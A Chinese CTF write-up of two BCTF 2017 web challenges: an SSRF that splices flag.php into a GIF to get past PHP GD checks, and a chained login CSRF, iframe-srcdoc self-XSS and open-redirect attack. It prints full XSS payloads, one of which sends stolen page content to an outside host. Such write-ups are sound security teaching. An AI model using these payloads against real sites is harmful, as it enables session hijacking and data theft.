前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >bctf2017 web部分wp

bctf2017 web部分wp

作者头像
LoRexxar
发布2023-02-21 16:44:30
2800
发布2023-02-21 16:44:30
举报
文章被收录于专栏:LoRexxar's Blog

周末干了一发bctf,因为周六出去玩了,所以没能看完所有的web题还是挺可惜的,先整理已经做了的2道火日聚聚的web题,后面在整理别的题目。

paint

打开题目是一个画画板,除了基本的画画功能以外,还可以上传图片文件。浅逛一下整个站不难发现有效的目标点只有2个,image.php和upload.php。

首先分析upload.php,可以上传任意文件,但要求上传文件后缀必须为图片,感觉应该是白名单,上传之后文件会改名,最重要的一点,上传图片的目录服务端做了设置,php后缀的文件会直接返回403,这也说明了后面的漏洞类型。

查看右键源码获得提示,flag在flag.php。

然后是image.php,image.php直接传入url,传入url后,会先经过一个基本的判断(感觉是正则),只允许传入http或者https协议的url,而且不能出现127.0.0.1,然后服务器会curl目标获取返回,经过php gd库的判断,如果通过判断,那么会返回传入图片的地址,如果没通过判断,会返回curl返回的内容长度和not image.

这里我们把域名指向127.0.0.1,然后请求flag.php

我们看到返回长度374

直接访问长度是80,那么思路清楚了,我们并不需要读取本地文件,只需要获取到内网的flag.php的内容就好了。

确定了目标之后,关键就在于如何利用了。

如果我们想获取到这个ssrf的返回值,就必须让返回值通过gd库的判断,让gd库认为这是一张图片,然后我们请求图片就可以获得返回。

这里有个小tricks

通过构造请求,可以让curl请求多个页面,将返回值拼接起来,通过分割一张图片的为3部分,上传第一部分和第三部分,把中间位置填充为flag.php,这样gd库就会认为请求到了一张图片,我们就能获取到结果了。

最终payload

代码语言:javascript
复制
http://xxxxxx/uploads/{149232828259FrA52FJy.gif,flag.php,149232828365div3po3O.gif}

但事实上,题目并不会如我们想象一般,因为php gd除了获取返回值写入图片以外,还会对图片做部分处理,对于jpg来说,图片内容改动过大,而gif就会相对好很多,而且图片的exif信息部分不会被处理,我们的目标就是在图片不被破坏的基础上,将flag.php的内容写入到这里。

还找到了一些相关的文章

http://www.freebuf.com/articles/web/54086.html

https://github.com/RickGray/Bypass-PHP-GD-Process-To-RCE

最终成功的图片

diary

这是一个思路非常奇妙的xss题目,我们先从头来看看这个题目

无意间找到了类似的原文

https://whitton.io/articles/uber-turning-self-xss-into-good-xss/

国内有人翻译了文章,可惜wooyun没了 http://www.vuln.cn/6530

接下来我们来分析这个题目

csrf

打开题目首先是http://diary.bctf.xctf.org.cn/

注册登录,可以发现时O2auth登陆,diary域会去auth域请求一个回调code,然后返回diary登陆成功。

diary和auth有两个分别的域,因此有两个分别的session,这里有个隐藏条件登陆请求不带有csrftoken,所以存在csrf

self-xss

登陆成功后,主要有几个功能,第一个是diary,可以编辑类似于描述之类的,这里存在一个self-xss漏洞,但是self-xss比较特殊。

这里用户的输入直接通过抓包修改,在服务端不会有任何过滤,但是读取到之后传入的页面内经过了一次前端的过滤。

过滤函数很复杂,但主要注意几个地方。第一个是关于img的过滤

img标签不能存在on开头的属性

然后是标签的黑名单

细心一点儿可以发现,iframe标签其实没被过滤,而通过srcdoc属性,可以产生一个同源下的子窗口,子窗口下可以随便构造js

payload

代码语言:javascript
复制
<iframe srcdoc="<script>alert(1);</script>">

</iframe>

成功了,然后我们接着看站

目标

survey是一个表单,我们随便提交点儿什么,会得到

代码语言:javascript
复制
Thank you. But the boss said only admin can get the flag after he finishes this survey, XD

看来这就是我们的目标了,这里需要注意了,survey这次提交是带有csrftoken的,也就是不存在csrf漏洞。

管理员审核

然后是report bug功能,如果我们随便提交个url,会返回

代码语言:javascript
复制
We only care about the problem from this website (http://diary.bctf.xctf.org.cn)!

但是纵观整个站,我们不难发现,整站是由django写的,稍微测试下可以发现存在静态文件任意跳转漏洞

代码语言:javascript
复制
http://diary.bctf.xctf.org.cn/static/%5C%5C119.29.192.14/bctf2017/xss/xss.html

这样就会调到目标站了

整理攻击思路

自己研究原文结合前面发现的一些漏洞,我们不难整理出整个攻击思路。

1、提交带有payload的外域链接,通过任意跳转绕过判断,让admin访问。 2、admin访问后退出diary域的登陆,但保留了auth域的session。 3、bot用我们事先准备好的token(这步可以动态)登陆,访问我们事先构造好的diary页面。 4、diary页面是事先用iframe插入的js,当bot访问的时候,先打开一个新的iframe子窗口退出当前账号,然后访问login登陆回bot账号。 5、等待上步完成后,新打开一个iframe子窗口,访问survey,向建议框内写入数据,点击submit。 6、等待上步完成后,获取子窗口内容,跳转至接受flag的地方

思路理明白了,就剩下写payload了。

最终payload

首先是xss1.html,也就是上面的前三步

代码语言:javascript
复制
<meta http-equiv="Content-Security-Policy" content="img-src http://diary.bctf.xctf.org.cn">

<img src="http://diary.bctf.xctf.org.cn/accounts/logout/" onerror="login();">


<script>

    var login = function() {
        var loginImg = document.createElement('img');
        loginImg.src = 'http://diary.bctf.xctf.org.cn/accounts/login/';
        loginImg.onerror = redir;
    }
    //用我们的code登录
    var redir = function() {
        var code = "kAj32I0LE2KETl5ZHS6FFRJohsE4LA";
        var loginImg2 = document.createElement('img');
        loginImg2.src = 'http://diary.bctf.xctf.org.cn/o/receive_authcode?state=preauth&code=' + code;
        loginImg2.onerror = function() {
            window.location = 'http://diary.bctf.xctf.org.cn/diary/';
        }
    }


</script>

然后是xss2.html,上面提到的第四步

代码语言:javascript
复制
<meta http-equiv="Content-Security-Policy" content="img-src http://diary.bctf.xctf.org.cn">
<img src="http://diary.bctf.xctf.org.cn/accounts/logout/" onerror="redir();">
<script>
    
    var redir = function() {
        window.location = 'http://diary.bctf.xctf.org.cn/accounts/login/';
    };
</script>

最后是完成攻击的payload

代码语言:javascript
复制
<iframe src='http://119.29.192.14/bctf2017/xss/xss2.html'>
</iframe>
<script>
setTimeout(function() {
    var profileIframe = document.createElement('iframe');
    profileIframe.setAttribute('src', 'http://diary.bctf.xctf.org.cn/survey/');
    profileIframe.setAttribute('id', 'survey');
    document.body.appendChild(profileIframe);

    profileIframe.onload = function() {
        document.getElementById('survey').contentWindow.document.forms[0].suggestion.value='give me flag';
        document.getElementById('survey').contentWindow.document.forms[0].submit();


        setTimeout('location.href=\'//xxx?flag=\'+document.getElementById(\'survey\').contentWindow.document.body.innerHTML;', 3000);
    }
}, 5000);
</script>

提交后等待一会儿,成功收到了返回

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2017/04/18,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • paint
  • diary
    • csrf
      • self-xss
        • 目标
          • 管理员审核
            • 整理攻击思路
              • 最终payload
              相关产品与服务
              命令行工具
              腾讯云命令行工具 TCCLI 是管理腾讯云资源的统一工具。使用腾讯云命令行工具,您可以快速调用腾讯云 API 来管理您的腾讯云资源。此外,您还可以基于腾讯云的命令行工具来做自动化和脚本处理,以更多样的方式进行组合和重用。
              领券
              问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档